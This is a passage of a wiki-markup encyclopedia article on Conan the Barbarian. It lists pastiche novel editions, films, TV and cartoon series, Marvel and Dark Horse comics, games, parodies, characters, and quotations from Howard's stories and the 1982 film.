#''Conan the Liberator'' (Feb. 1979) (by L. Sprague de Camp and Lin Carter)
#''Conan: The Sword of Skelos'' (May 1979) (by Andrew J. Offutt)
#''Conan: The Road of Kings'' (Oct. 1979) (by Karl Edward Wagner)
#''Conan and the Spider God'' (Dec. 1980) (by L. Sprague de Camp)
#''Conan the Rebel'' (Jul. 1980) (by Poul Anderson)
#''Conan the Barbarian'' (May 1982) (adaptation by L. Sprague de Camp and Lin Carter of the movie of the same title)

===The Ace Maroto editions, 1978-1981===
A series of new pastiches by Andrew J. Offutt and old Howard/de Camp collaborations, all illustrated by [[Esteban Maroto]]. The Offutt pastiches, in combination with his ''Conan: The Sword of Skelos'' from the Bantam series, form a linked trilogy.

*''Conan and the Sorceror&lt;!--sic?--&gt;'' (Oct. 1978) (by Andrew J. Offutt)
*''Conan: The Treasure of Tranicos'' (Jul. 1980) (by Robert E. Howard and L. Sprague de Camp)
*''Conan the Mercenary'' (Jan. 1981) (by Andrew J. Offutt)
*''Conan: The Flame Knife'' (Jul. 1981) by Robert E. Howard and L. Sprague de Camp)

===The Tor editions, 1982-2004===
A series of new pastiches by various hands. Tor has also lately reissued most of the previous pastiche editions not originally published by Tor.

*''Conan the Invincible'' (Jun. 1982) (by  Robert Jordan)
*''Conan the Defender'' (Dec. 1982) (by Robert Jordan)
*''Conan the Unconquered'' (Apr. 1983) (by Robert Jordan)
*''Conan the Triumphant'' (Oct. 1983) (by Robert Jordan)
*''Conan the Magnificent'' (May 1984) (by Robert Jordan)
* ''Conan the Destroyer'' (Jul. 1984) (adaptation by Robert Jordan of the movie of the same title)
*''Conan the Victorious'' (Nov. 1984) (by Robert Jordan)
*''Conan the Valorous'' (Sep. 1985) (by John M. Roberts)
*''Conan the Fearless'' (Feb. 1986) (by Steve Perry)
*''Conan the Renegade'' (Apr. 1986) (by Leonard Carpenter)
*''Conan the Raider'' (Oct. 1986) (by Leonard Carpenter)
*''Conan the Champion'' (Apr. 1987) (by John M. Roberts)
*''Conan the Defiant'' (Oct. 1987) (by Steve Perry)
*''Conan the Marauder'' (Jan. 1988) (by John M. Roberts)
*''Conan the Warlord'' (Mar. 1988) (by Leonard Carpenter)
*''Conan the Valiant'' (Oct. 1988) (by Roland Green)
*''Conan the Hero'' (Feb. 1989) (by Leonard Carpenter)
*''Conan the Bold'' (Apr. 1989) (by John M. Roberts)
*''Conan the Great'' (Apr. 1989) (by Leonard Carpenter)
*''Conan the Indomitable'' (Oct. 1989) (by Steve Perry)
*''Conan the Freelance'' (Feb. 1990) (by Steve Perry)
*''Conan the Formidable'' (Nov. 1990) (by Steve Perry)
*''Conan the Guardian'' (Jan. 1991) (by Roland Green)
*''Conan the Outcast'' (Apr. 1991) (by Leonard Carpenter)
*''Conan the Rogue'' (Nov. 1991) (by John M. Roberts)
*''Conan the Relentless'' (Apr. 1992) (by Roland Green)
*''Conan the Savage'' (Nov. 1992) (by Leonard Carpenter)
*''Conan of the Red Brotherhood'' (Feb. 1993) (by Leonard Carpenter)
*''Conan and the Gods of the Mountain'' (May 1993) (by Roland Green)
*''Conan and the Treasure of Python'' (Nov. 1993) (by John M. Roberts)
*''Conan the Hunter'' (Jan. 1994) (by Sean A. Moore)
*''Conan, Scourge of the Bloody Coast'' (Apr. 1994) (by Leonard Carpenter)
*''Conan and the Manhunters'' (Oct. 1994) (by John M. Roberts)
*''Conan at the Demon's Gate'' (Nov. 1994) (by Roland Green)
*''Conan the Gladiator'' (Jan. 1995) (by Leonard Carpenter)
*''Conan and the Amazon'' (Apr. 1995) (by John M. Roberts)
*''Conan and the Mists of Doom'' (Aug. 1995) (by Roland Green)
*''Conan and the Emerald Lotus'' (Nov. 1995) (by John C. Hocking)
*''Conan and the Shaman's Curse'' (Jan. 1996) (by Sean A. Moore)
*''Conan, Lord of the Black River'' (Apr. 1996) (by Leonard Carpenter)
*''Conan and The Grim Grey God'' (Nov. 1996) (by Sean A. Moore)
*''Conan and the Death Lord of Thanza'' (Jan. 1997) (by Roland Green)
*''Conan of Venarium'' (Jul. 2004) (by Harry Turtledove)

===The Gollancz editions, 2000-2001===
A new edition of Howard's original stories purporting to feature ''all'' of Howard's Conan fiction in the two volumes, and to present only Howard's writings. Includes all the classic stories, apparently in their unrevised form (&quot;The Black Stranger&quot; is quite different from its De Camp cognate &quot;The Treasure of Tranicos&quot;); uncompleted or fragmentary tales have been left in that state.

*''The Conan Chronicles, 1'' (Aug. 2000)
*''The Conan Chronicles, 2'' (2001)

===The Wandering Star/Del Rey editions, 2003-2005===
Another new illustrated edition of Howard's original stories, published by Wandering Star in the United Kingdom and Del Rey in the United States.

*''Conan of Cimmeria: Volume One (1932-1933)'' (2003; vt ''The Coming of Conan the Cimmerian'' 2003 US)
*''Conan of Cimmeria: Volume Two (1934)'' (2004; vt ''The Bloody Crown of Conan'' (2005 US)
*''Conan of Cimmeria: Volume Three (1935-1936)'' (2005; vt ''The Conquering Sword of Conan'' 2005 US)

==Other media==
===Movies===
====Conan movies====
[[Image:Conan_the_barbarian.jpg|right|frame|Movie poster for ''Conan the Barbarian'' (1982).]]
''For detailed information on the individual Conan movies, see [[Conan the Barbarian (film)]] and [[Conan the Destroyer]]''.

The film ''[[Conan the Barbarian (film)|Conan the Barbarian]]'' (1982) was written by the unlikely pairing of [[Oliver Stone]] and [[John Milius]]. The script, not very faithful to Howard's original, draws material from a number of stories. It tells the story of Conan rising up in slavery and finally taking revenge on Thulsa Doom, the ruthless warlord who was responsible for the genocide of his parents and his people. Later Thulsa Doom turns into a devious cult leader, who runs a fallacious, evil religion. The intrepid, vengeful Conan, the archer Subotai, and the ravishing thief Valeria set out on a quest to save a beautiful princess and negate the power-hungry [[megalomaniac]]. The film was directed by [[John Milius]] and produced by [[Dino DeLaurentis]]. The title role was played by [[Arnold Schwarzenegger]] and was his break-through as an actor.

A less popular sequel, ''[[Conan the Destroyer]]'' (1984), was also made, a more typical [[fantasy]]-genre film (again, not very true to Howard's stories).   

The originator of the Conan movie project and its Associate Producer, [[Edward Summer]] had originally planned for there to be a series of Schwarzenegger Conan films much like the [[James Bond]] series. Summer outlined six stories for this film series, but none were ever made. Elements from the original screenplay by Summer and [[Roy Thomas]] were utilized, but their much more authentic screen story has never been filmed in total.

====Other====
Schwarzenegger also played a muscular sword-fighter (named &quot;Kalidor&quot; due to licensing issues) in the Howard-inspired ''[[Red Sonja (1985 film)]].'' (1985).

A fourth film was based on the (pre) Hyborian setting, ''[[Kull the Conqueror]]'', starring [[Kevin Sorbo]] as [[Kull]], an Atlantean (the ancestor race of Conan's own people, the [[Cimmeria_(Conan)|Cimmerians]]) who, like Conan, advanced in rank in more civilized lands and became king by force, and now must contend with those who don't like his rule. This movie is better mentioned in the Conan page, as it draws next to nothing from the Kull stories, but a lot from [[The Hour of the Dragon]] .

===TV series===
Conan has appeared in a TV series (1997), played by the [[Germany|German]] bodybuilder [[Ralf Moeller]].

This short lived series, [[Conan the Adventurer]], featured a more caring Conan, and involved much less blood and gore.

===Cartoons===
Two animated series from the early '90s feature a muscle-bound Conan character.

The first animated series, also called [[Conan the Adventurer]] ([[1992]]), involved Conan chasing the serpent men across the world in an attempt to release his parents from eternal torture as living statues.  It is a typical example of the action-adventure cartoon genre of the time.  It should be noted that &quot;Wrath-Amon&quot; is possibly Thoth-Amon renamed and remodeled from the comics.

The fact is Conan the Adventurer was loosely based from the novels.  Instead of a Conan who is bloody, a womanizer, thief and so on, he's much more like He-Man: a kind and caring character, an honest fellow who went to fight against the sorcerer Wrath-Amon (loosely based on Thoth-Amon) to free his parents though they were killed in the original line.

The second animated series, [[Conan and the Young Warriors]] ([[1994]]), saw Conan as a mentor to three young adventurers, focusing mainly on the young characters.

===Comics===
Conan has appeared in comics nearly non-stop since 1970.  These are arguably, apart from the books, the vehicle that has made the greatest influence on the character.

====Marvel Comics====
[[Marvel Comics]] introduced Conan in 1970 with ''Conan the Barbarian'', written by [[Roy Thomas]] and illustrated by [[Barry Windsor-Smith]].  He was succeeded after several issues by [[penciller]] [[John Buscema]], while Thomas continued to write for many years.  Later writers included [[J.M. DeMatteis]], [[Bruce Jones (comics)|Bruce Jones]], [[Michael Fleisher]], [[Doug Moench]], [[Jim Owsley]], [[Alan Zelenetz]], [[Chuck Dixon]], and [[Don Kraar]]. Although many artists worked on the different Marvel Conan comic-books at one time or the other, only a few apart from Windsor-Smith and Buscema produced more than a handful of stories. The most prolific include [[Ernie Chan]], [[Alfredo Alcala]], [[Gil Kane]], [[Mike Docherty]], [[Val Semeiks]] and [[Gary Kwapisz]].

'''John Buscema''', in a 1994 interview, spoke of being Marvel's first-choice for ''Conan'' artist: &quot;I was approached by Roy Thomas with the project to do ''Conan''. He mailed a couple of the paperbacks to me and I read 'em and I loved 'em. I told Roy, 'THIS is what I want, something that I can really sink my teeth into....'  [A]t the time, Marvel was owned by [[Martin_Goodman_(publisher)|Martin Goodman]], and he felt that my rate was too high to take a gamble [with] on some new kind of [project]. It wasn't a [[superhero]] or anything that had been done before. The closest thing to that would be [[Tarzan]]. Anyway, he had no confidence in spending too much money on the book, and that's where Barry Smith came in — [he was] very cheap. I know what he got paid, and I'd be embarrassed to tell you how much it was, because I'd be embarrassed for Marvel.&quot;{{fn|1}}

;Awards
*1971 Academy of Comic Book Arts Awards
:Best Continuing Feature.  ''Conan the Barbarian''
*1971 Academy of Comic Book Arts Awards
:Best Writer (Dramatic).  Roy Thomas.
*1973 Academy of Comic Book Arts Awards
:Best Individual Story (Dramatic).  ''Song of Red Sonja''.
*1974 Academy of Comic Book Arts Awards
:Best Continuing Feature.  ''Conan the Barbarian''.
:Best Penciller (Dramatic).  John Buscema.
:Superior Achievement by an Individual.  Roy Thomas.

;Core appearances
* ''Conan the Barbarian,'' (1970-1993) 275 issues
* ''Savage Tales,'' (1971-1975) First 5 issues
* ''The Savage Sword of Conan the Barbarian,'' (1974-1995) 235 issues
* ''Conan the Barbarian Annual'' (1973-1987) 12 issues
* ''Giant-Size Conan,'' (1974-1975) 5 issues
* ''The Savage Sword of Conan the Barbarian Annual,'' (1975) 1 issue
* ''Newspaper Strip,'' (1978-19??) ?? strips.
* ''King Conan/Conan the King,'' (1980-1989) 55 issues
* ''Handbook of the Conan Universe,'' (1985) 1 issue
* ''Conan the Adventurer,'' (1994-1995) 14 issues
* ''Conan,'' (1995-1996) 11 issues
* ''Conan the Savage,'' (1995-1996) 10 issues
* ''Conan vs Rune,'' (1995) 1 issue

;Marvel Graphic Novels
* ''The Witch Queen of Acheron,'' (Marvel Graphic Novel (MGN) #19, 1985)
* ''Conan the Reaver,'' (MGN #28, 1987)
* ''Conan of the Isles,'' (MGN #42, 1988)
* ''The Skull of Set,'' (MGN #53, 1989)
* ''The Horn of Azoth,'' (MGN #59, 1990)
* ''Conan the Rogue,'' (MGN #69, 1991)
* ''The Ravagers Out of Time,'' (MGN #73, 1992)

;Marvel Conan the Barbarian Miniseries
* ''Stalker in the Woods,'' (1997) 3 issues.
* ''The Usurper,'' (1997-1998) 3 issues.
* ''Lord of the Spiders,'' (1998) 3 issues.
* ''River of Blood,'' (1998) 3 issues.
* ''Return of Styrm,'' (1998) 3 issues.
* ''Scarlet Sword,'' (1998-1999) 3 issues.
* ''Death Covered in Gold,''(1999) 3 issues.
* ''Flame and the Fiend,'' (2000) 3 issues.

;Marvel Universe appearances
* ''Avengers Forever,'' #12 (1998).
* ''Dr. Strange,'' #11 (volume 3, 19??).
* ''Dr. Strange,'' #26 (volume 3, 19??).
* ''Excaliber,'' #47 (19??).
* ''Fantastic Four,'' #411 (19??).
* ''Tomb of Dracula,'' #27 (19??).
* ''Incomplete Death's Head,'' #11 (19??).

;Miscellaneous appearances
* ''What If...?,'' issues 13, 39, 43 and 16 (volume 2).
* ''Conan the Barbarian - Movie Special,'' (1982) 2 issues.
* ''Conan the Destroyer - Movie Special,'' (1985) 2 issues.
* ''Marvel Age,'' issues 1, 2, 8 and 13.

;Reprints
* ''Conan the Barbarian - Special Edition,'' (1983) Red Nails.
* ''Conan Saga,'' (1987-1995) 97 issues.
* ''Conan Classic,'' (1994-1995) 11 issues.
* ''Marvel Treasury Edition,'' issues 4, 15, 19 and 23.
* ''Marvel Super Special,'' issues 2, 9, 21 and 35.
* ''Essential Conan,'' (2000) 1 issue.

;Footnotes
* {{fnb|1}}} ''Comic World'' (U.K.) #37, March 1995, reprinted in ''Comic Book Artist'' #21. Aug. 2002, p.31b  &lt;!--31b is correct--&gt; Interview conducted Oct. 2, 1994.

====Dark Horse Comics====
[[Dark Horse Comics]] began their take on Conan in 2003.  Currently publishing the comic series ''Conan'', written by [[Kurt Busiek]] and pencilled by [[Cary Nord]]. This series is a fresh interpretation, based solely on the works of Robert E. Howard, with no connection to the large Marvel run. Dark Horse Comics is also publishing digitally re-coloured compilations of the 1970s Marvel Comics ''Conan the Barbarian'' series in graphic-novel format. By Roy Thomas (writer), Barry Windsor-Smith, John Buscema, Ernie Chan (artists) and others. 

;Awards
*2004 Will Eisner Comic Industry Awards
:Best Single Issue or One-Shot.  ''Conan #0: The Legend''.
*2004 Eagle Awards
:Favourite new comicbook.  ''Conan''.

;Core appearances
* ''Conan #0: The Legend'', (2003).
* ''Conan'', (2004+). 16+ issues.
* ''Conan and the Daughters of Midora'', (2004).  1 issue.
* ''Conan and the Jewels of Gwahlur'', (2005).  3 issues.

;Collections
* ''The Chronicles of Conan''
** ''Volume 1: Tower of the Elephant and Other Stories,'' (2003). Reprints Marvel Comics' ''Conan the Barbarian'' issues 1-8.
** ''Volume 2: Rogues in the House and Other Stories,'' (2003). Reprints Marvel Comics' ''Conan the Barbarian'' issues 9-13,16.
** ''Volume 3: The Monster of the Monoliths and Other Stories,'' (2003). Reprints Marvel Comics' ''Conan the Barbarian'' issues 14,15,17-21.
** ''Volume 4: The Song of Red Sonja and Other Stories,'' (2004). Reprints Marvel Comics' ''Conan the Barbarian'' issues 23-26 and ''Red Nails'' originally published in ''Savage Tales''.
** ''Volume 5: The Shadow in the Tomb and Other Stories,'' (2004). Reprints Marvel Comics' ''Conan the Barbarian'' issues 27-34.
** ''Volume 6: The Curse of the Golden Skull and Other Stories,'' (2004). Reprints Marvel Comics' ''Conan the Barbarian'' issues 35-42.
** ''Volume 7: The Dweller in the Pool and Other Stories,'' (2005). Reprints Marvel Comics' ''Conan the Barbarian'' issues 43-51.
** ''Volume 8: The Tower of Blood and Other Stories,'' (2005). Reprints Marvel Comics' ''Conan the Barbarian'' issues 52-60.
* ''Conan''
** ''Volume 1: The Frost Giant's Daughter and Other Stories'' (2005). Collects issues 0-6 and fourteen pages from issue 7 of the ongoing series ''Conan''.
** ''Volume 2: The God In The Bowl And Other Stories'' (2005).  Collecting issues 7, 9-14 of the Dark Horse series

;Creative Teams
* ''Kurt Busiek (writer) &amp; Cary Nord (artist)
* ''Tim Truman (writer-2006) (no new artist announced)

====Miscellaneous or parody appearances====
* ''National Lampoon,'' (May 1972).
* ''Captain Carrot and His Amazing Zoo Crew!,'' (DC, 1982) issue 7. Written by Roy Thomas.

===Games===
====Computer Games====
Four commercial [[computer and video games]] were released based on the Conan [[mythos]].

*In [[1984]], [[Datasoft]] released ''[[Conan: Hall of Volta]]'' for the [[Apple II]] and [[Commodore 64]].
*In [[1990]] [[The Learning Company|Mindscape]] released ''[[Conan]]'' for the [[Nintendo Entertainment System]] [[NES]] (in reality a retooled [[System 3]] game ''Myth'').
*In [[1991]], [[Virgin Interactive]] released ''[[Conan: The Cimmerian]]'' developed by [[Synergistic Software, Inc.]] for [[Amiga]] and [[DOS]].
*In [[2004]], [[TDK Mediactive]] released ''[[Conan (video game)|Conan]]'', a [[video game]] [[video game developer|developed]] by [[Cauldron Ltd.]]. It is a third-person [[action game]], available for [[Microsoft Windows|Windows]], [[PlayStation 2]], [[Xbox]] and the [[Nintendo GameCube|GameCube]].[http://www.conangame.com/]
*In the first half of [[2006]], Conan will be released in [[MMORPG]] form in [[Age of Conan: Hyborian Adventures]].

====Role-Playing Games====
*Two [[List of Dungeons &amp; Dragons modules|modules]] for [[Dungeons &amp; Dragons|Advanced Dungeons &amp; Dragons]]
**CB1 Conan Unchained! (1984)
**CB2 Conan Against Darkness! (1984)
*'''[[Conan Role-Playing Game]]''' (1985) by [[TSR, Inc.]], and 3 [[Adventure (role-playing games)|official game adventures]]:
**CN1 Conan the Buccaneer (1985)
**CN2 Conan the Mercenary (1985)
**CN3 Conan Triumphant (1985)
*[[GURPS Conan]] [http://www.sjgames.com/gurps/books/conan/ ] a [[GURPS]] version by [[Steve Jackson Games]].
*'''[[Conan The Roleplaying Game]]''' (2004), an [[OGL System]] version by [[Mongoose Publishing]] with over a dozen official adventures and supplements.

===Parody and other references===
*[[Terry Pratchett]] has parodied him with the [[Discworld characters|Discworld character]] &quot;[[Cohen the Barbarian]].&quot; 
*[[Thrud the Barbarian]] is a British comic strip that is an obvious parody of Conan.
*[[Ator]] was a character created by Italian director [[Joe d'Amato]] to capitalize on the popularity of the Conan movies.  Four movies were made which featured the Ator character.  One of these films - [[Cave Dwellers]] - was later featured on [[Mystery Science Theater 3000]].  As a result, the film now enjoys modest success as a cult favorite.
*Numerous &quot;[[Conan the Librarian]]&quot; parodies have cropped up, including sketches in [[&quot;Weird Al&quot; Yankovic]]'s comedy film ''[[UHF (movie)|UHF]]'' and on the children's television series [[Reading Rainbow]].
*Additionally short book, [[Colin the Librarian]] parodies the genre as a whole - the Conan character replaced by &quot;Krap the Conqueror&quot; and &quot;Colin,&quot; a socially disfunctional librarian from Earth.
*Independent comic legend [[Dave Sim]]'s '[[Cerebus the Aardvark]]' also began as a Conan parody, Sim modelling his early art style on that of Windsor-Smith. Sim further parodied the famous introductory lines &quot;Know, o prince...&quot; in a two-page story featuring &quot;Arnold the Isshurian&quot;, in the pages of the magazine Epic Illustrated #16 published by Marvel. The story parodied both Conan and the [[Little Nemo]] strip by [[Windsor McKay]].
*Yet another popular parody of Conan has been '[[Groo the Wanderer]]' by [[Sergio Aragones]].
*The [[bacterium]] [[Deinococcus radiodurans]] was nicknamed ''Conan the Bacterium'' after the character.
*There are many video games based on the Conan character. [[Rastan]], a coin-op and console game, is an example of these.
*[[The Eye of Argon]], famous as one of the worst fantasy stories ever written, is inspired by Conan.

* Italian metal band [[Domine]]'s song ''The Aquilonia Suite Pt. 1'' from their ''Emperor of the Black Runes'' album is based on the story told in the movie version of Conan the Barbarian. The song is primarily an original composition, but parts of the film score are woven into the song as well. Since the song is titled part 1, the band presumably plans to continue the Conan story on a later album.
* Stoner rock band [[Electric Wizard]] feature Conan in their song ''Barbarian'' from their ''Dopethrone'' album.
* American heavy metal band [[Manilla Road]] did a song based on the Conan story ''Queen of the Black Coast''. The song shares the title of the story, and is found on their ''Metal'' album.
*[[Thundarr the Barbarian]] early 1980's animated series of a barbarian living on a post-apoclytic earth ala &quot;Escape from New York.&quot; Thundar would spout Conan reminiscent curses such as &quot;Demon-dogs!&quot; and &quot;Lords of Light!&quot;
* The videogame [[Rastan]] parodies Conan.  It even has a King Conan like sequence at the end of the game.
* In [[volleyball]], an overhand hit with the bottom of both clenched fists is often called a &quot;Conan,&quot; ostensibly after the sword swinging barbarian.

==Characters==
The following characters have prominent or recurring roles in the Conan series.
* [[Bêlit]], self-styled queen of the Black Coast and captain of the pirate ship &quot;Tigress&quot;. (&quot;Queen of the Black Coast&quot;).
* Prince Conan II, called Conn, firstborn son of King Conan of Aquilonia by his wife Zenobia. (Conn is a creation of L. Sprague de Camp and Lin Carter. &quot;Witch of the mists&quot;, &quot;Black sphinx of Nebthu&quot;, &quot;Red moon of Zembabwei&quot;, &quot;Shadows in the skull&quot;, &quot;Conan of the isles&quot; as well as the &quot;Conan the king&quot; comic-books). 
* Fafnir Demonhand (comics only)
* [[Red Sonja]], a Hyrkanian warrior. Red Son'''j'''a is a character from the Conan comics, and was created by [[Roy Thomas]] and [[Barry Windsor-Smith]]. She was inspired by a R. E. Howard character, '''Red Sonya of Rogatino''' who appeared in the historical story &quot;The shadow of the vulture&quot;, set in the XVIth century.  
* [[Thoth-Amon]] of the ring, a Stygian wizard of great power and influence. He appeared in the very first  Conan story written ( ''[[The Phoenix on the Sword]]'' ) and was mentioned in ''[[The God in the Bowl]]'' and ''[[The Hour of the Dragon]]'' ). L. Sprague de Camp and Lin Carter, in their pastiche stories, made Thoth-Amon the most prominent adversary of Conan (&quot;the treasure of Tranicos&quot;, &quot;Conan the buccaneer&quot;, &quot;Witch of the mists&quot;, &quot;Black sphinx of Nebthu&quot;, &quot;Red moon of Zembabwei&quot;, &quot;Shadows in the skull&quot;). In the Marvel comic-book series, Thoth-Amon was also Conan's life-long opponent. He had a striking appearance designed by [[Barry Windsor-Smith]], with a ram-horn ornemental headdress. In the Dark Horse comic-book series, Thoth-Amon is also an important character, but with a more traditional Stygian (Egyptian-looking) appearance.
* [[Thulsa Doom (Character)|Thulsa Doom]] ( Originally, he was a wizard, described as a [[necromancer]] in the [[King Kull]] story ''[[Delcardes' Cat]]'' ). He was a recurring character in the Kull comic-books. John Milius used a similarly-named character as the villain in the first Conan movie.  He appears as a skull-faced sorcerer with awesome powers.
* Valeria of the Red Brotherhood, a  female pirate ( ''[[Red nails]]'' ). 
* Princess Yasmela of Khoraja. She made Conan commander of her country's armies to repel the invasion of a desert horde. (''[[Black Colossus]]'').
* Yasmina, queen (or &quot;devi&quot;) of Vendhya. She tried to coerce Conan, then a hill-chieftain, to destroy the Black Seers of Yimsha. Brave and determined, she gained Conan's respect and gruff affection. (''[[The People of the Black Circle]]'').
* King Yezdigerd of Turan (''[[The People of the Black Circle]]'' ,  ''[[The Devil in Iron]] , &quot;Conan the avenger&quot;). Yezdigerd was also prominent in the Conan comics, in which he bears a scar given him by Conan.
* Zenobia, whom Conan married and made his queen after she helped him escape the dungeons of king Tarascus of Nemedia (''[[The Hour of the Dragon]]'')
* Zephra (comics only)

==Trivia==
* On the subject of Howard and Conan, [[L. Sprague de Camp]] states the following in his book ''Literary Swordsmen and Sorcerers: The Makers of Heroic Fantasy'' concerning an interview with [[J. R. R. Tolkien]] : &quot;We sat in the garage for a couple of hours, smoking pipes, drinking beer, and talking about a variety of things. Practically anything in English literature, from Beowulf down, Tolkien had read and could talk intelligently about. He indicated that he 'rather liked' Howard's Conan stories.&quot;

==Quotes==
===Quotes from Howard's original Conan stories===
* Arus saw a tall powerfully built youth, naked but for a loin-cloth, and sandals strapped high about his ankles. His skin was burned brown as by the suns of the wastelands and Arus glanced nervously at his broad shoulders, massive chest and heavy arms, A single look at the moody, broad-browed features told the watchman the man was no Nemedian. From under a mop of unruly black hair smoldered a pair of dangerous blue eyes. A long sword hung in a leather scabbard at his girdle. (''[[The God in the Bowl]]'')
* &quot;You cannot escape me!&quot; he roared. &quot;Lead me into a trap and I'll pile the heads of your kinsmen at your feet! Hide from me and I'll tear apart the mountains to find you! I'll follow you to hell!&quot; (''[[The Frost Giant's Daughter]]'')
* Then suddenly the borealis, the snow-clad hills and the blazing heavens reeled drunkenly to Conan's sight; thousands of fire-balls burst with showers of sparks, and the sky itself became a titanic wheel which rained stars as it spun. Under his feet the snowy hills heaved up like a wave, and the Cimmerian crumpled into the snows to lie motionless. (''[[The Frost Giant's Daughter]]'')
* Conan stood paralyzed in the disruption of the faculties which demoralizes anyone who is confronted by an impossible negation of sanity. (''[[The Devil in Iron]]'')
* Conan did not hesitate, nor did he even glance toward the chest that held the wealth of an epoch. With a quickness that would have shamed the spring of a hungry jaguar, he swooped, grasped the girl's arm just as her fingers slipped from the smooth stone, and snatched her up on the span with one explosive heave. (''[[Jewels of Gwahlur]]'')
* &quot;Keep back!&quot; ordered Shah Amurath, watching him narrowly. &quot;Ha!&quot; It was like the bark of a timber wolf. &quot;Shah Amurath, the great Lord of Akif! Oh, damn you, how I love the sight of you -- you, who fed my comrades to the vultures, who tore them between wild horses, blinded and maimed and mutilated them -- Ai, you dog, you filthy dog!&quot; His voice rose to a maddened scream, and he charged. (''[[Iron Shadows in the Moon]]'')
* &quot;...Free my hands and I'll varnish this floor with your brains!&quot; (''[[The Scarlet Citadel]]'')
* &quot;Crom!&quot; his mighty shoulders twitched. &quot;A murrain of these wizardly feuds! Pelias has dealt well with me, but I care not if I see him no more. Give me a clean sword and a clean foe to flesh it in. Damnation! What would I not give for a flagon of wine!&quot; (''[[The Scarlet Citadel]]'')
* &quot;Civilized men are more discourteous than savages because they know they can be impolite without having their skulls split, as a general thing.&quot; (''[[The Tower of the Elephant]]'')
* &quot;Did you deem yourself strong, because you were able to twist the heads off civilized folk, poor weaklings with muscles like rotten string? Hell! Break the neck of a wild Cimmerian bull before you call yourself strong. I did that, before I was a full-grown man...!&quot; (''[[Shadows in Zamboula]]'')
* &quot;... you speak of Venarium familiarly. Perhaps you were there?&quot; - &quot;I was,&quot; grunted [Conan]. &quot;I was one of the horde that swarmed over the hills. I hadn't yet seen fifteen snows, but already my name was repeated about the council fires.&quot; (''[[Beyond the Black River]]'')
* &quot;He grunted with satisfaction. The feel of the hilt cheered him and gave him a glow of confidence. Whatever webs of conspiracy were drawn about him, whatever trickery and treachery ensnared him, this knife was real. The great muscles of his right arm swelled in anticipation of murderous blows.&quot; (''[[The Hour of the Dragon]]'')

===''Conan the Barbarian'' movie quotes===
* Mongol General: &quot;What is best in life?&quot; &lt;BR/&gt;Conan: &quot;To crush your enemies, to see them driven before you, and to hear the lamentations of their women.&quot; (Note that this is actually a quote from [[Ghengis Khan]])
* Conan: &quot;Crom, I have never prayed to you before. I have no tongue for it.  No one, not even you will remember, if we were good men, or bad. Why we fought, or how we died.  No, all that matters is, that two stood against many. That's what's important.  Valour pleases you Crom, so grant me one request, grant me revenge! And if you do not listen, then the hell with you!&quot;
* Conan, to Subotai: &quot;Crom laughs at your four winds.&quot; 	
*King Osric: &quot;There comes a time, thief, when the jewels cease to sparkle, when the gold loses its luster, when the throne room becomes a prison, and all that is left is a father's love for his child.&quot;
*Valeria: &quot;To the hell fires with Thulsa Doom. He's evil; a sorcerer who can summon demons. His followers' only purpose is to die in his service. Thousands of them.&quot;
*Valeria: &quot;All my life I've been alone. Many times I've faced death with no one to know. I would look into the huts and the tents of others in the coldest dark and I would see figures holding each other in the night. But I always passed by.&quot;
*The Wizard: &quot;Between the time when the oceans drank Atlantis, and the rise of the sons of Aryas, there was an age undreamed of. And onto this, Conan, destined to wear the jeweled crown of Aquilonia upon a troubled brow. It is I, his chronicler, who alone can tell thee of his saga. Let me tell you of the days of high adventure!&quot;
*Thulsa Doom: &quot;Infidel defilers. They shall all drown in lakes of blood.&quot;
*Thulsa Doom: &quot;My child, you have come to me my son. For who now is your father if it is not me? I am the well spring, from which you flow. When I am gone, you will have never been. What would your world be, without me? My son.&quot;
*Conan's Father: &quot;For no one - no one in this world can you trust. Not men, not women, not beasts. This you can trust.&quot; [Points to [[sword]]]
*Thulsa Doom: &quot;Yes! You know what it is don't you boy. Shall I tell you? It's the least I can do. Steel isn't strong boy, flesh is stronger! Look around you. There, on the rocks; that beautiful girl. Come to me my child... [Girl leaps to her death] That is strength boy! That is power! What is steel compared to the hand that wields it? Look at the strength in your body, the desire in your heart, I gave you this! Such a waste. Contemplate this on the tree of woe. Crucify him!&quot;
*Valeria: &quot;Do you want to live forever?&quot; (Note that this is actually a quote from [[Frederick the Great]])
*Thulsa Doom: &quot;Now they will know why they are afraid of the dark. Now they learn why they fear the night.&quot;
*Thulsa Doom: &quot;I wish to speak to you now. Where is the Eye of the Serpent? Rexor said that you gave it to a girl; probably for a mere night's pleasure. Such a loss. People have no grasp of what they do.&quot;
*Subotai: &quot;He is Conan, Cimmerian, he won't cry, so I cry for him.&quot;
*Black Lotus Street Peddler: &quot;Two or three years ago it was just another snake cult.&quot;
*The Wizard: &quot;I'm a wizard, mind you. This place is kept by powerful gods and spirits of kings. Harm my flesh and you will have to deal with the dead!&quot;
*Valeria: &quot;All the gods, they cannot sever us. If I were dead and you were still fighting for life, I'd come back from the darkness. Back from the pit of hell to fight at your side.&quot;
*Conan: &quot;For us, there is no spring. Just the wind that smells fresh before the storm.&quot;

==External links==
*[http://home.thezone.net/~jgillard/Biblio.htm#part6/ A Complete Conan Bibliography compiled by Bruce L. Precourt, January 1998]
*[http://www.conan.com/ Conan official website]
*[http://www.amrathelion.com/ Conan the Barbarian at AmratheLion.com]
*[http://www.dodgenet.com/~moonblossom/hyborian.htm Hyborian Age of Conan the Barbarian]
*[http://en.wikisource.org/wiki/Author:Robert_E._Howard Stories of Robert Howard on Wikisource]
*[http://en.wikisource.org/wiki/The_Hour_of_the_Dragon Hour of the Dragon] Robert Howard's full length Conan novel, considered by many to be his best work
*[http://enworld.org/Inzeladun/conan.htm Conan d20 fan site]
*[http://hyboria.xoth.net/maps/ Maps of the Hyborian Age]
* {{imdb title|id=0082198|title=Conan the Barbarian}} 
*[http://www.rpgunited.com/product/conan/tsr7014.html TSR Conan Role-Playing Game]
*[http://home.flash.net/~brenfrow/cn/cn.htm Conan Adventure modules from TSR]
*[http://www.mongoosepublishing.com/rpg/series.php?qsSeries=7 Conan RPG by Mongoose Publishing]
*[http://members3.boardhost.com/Villains/ Conan the Barbarian Message Board at the Second-String Sanctuary]

&lt;!-- The below are interlanguage links. --&gt;


[[Category:Characters in written fantasy]]
[[Category:Fantasy comics]]
[[Category:Fantasy film characters]]
[[Category:Fantasy films]]
[[Category:Fantasy novels]]
[[Category:Fantasy series]]
[[Category:Fictional kings]]
[[Category:Fictional mercenaries]]
[[Category:Fictional pirates]]
[[Category:Fictional thieves]]
[[Category:Robert E. Howard]]

[[bg:Конан]]
[[de:Conan der Barbar]]
[[es:Conan]]
[[fi:Conan Barbaari]]
[[fr:Conan le barbare]]
[[it:Conan]]
[[ko:%EC%BD%94%EB%82%9C]]
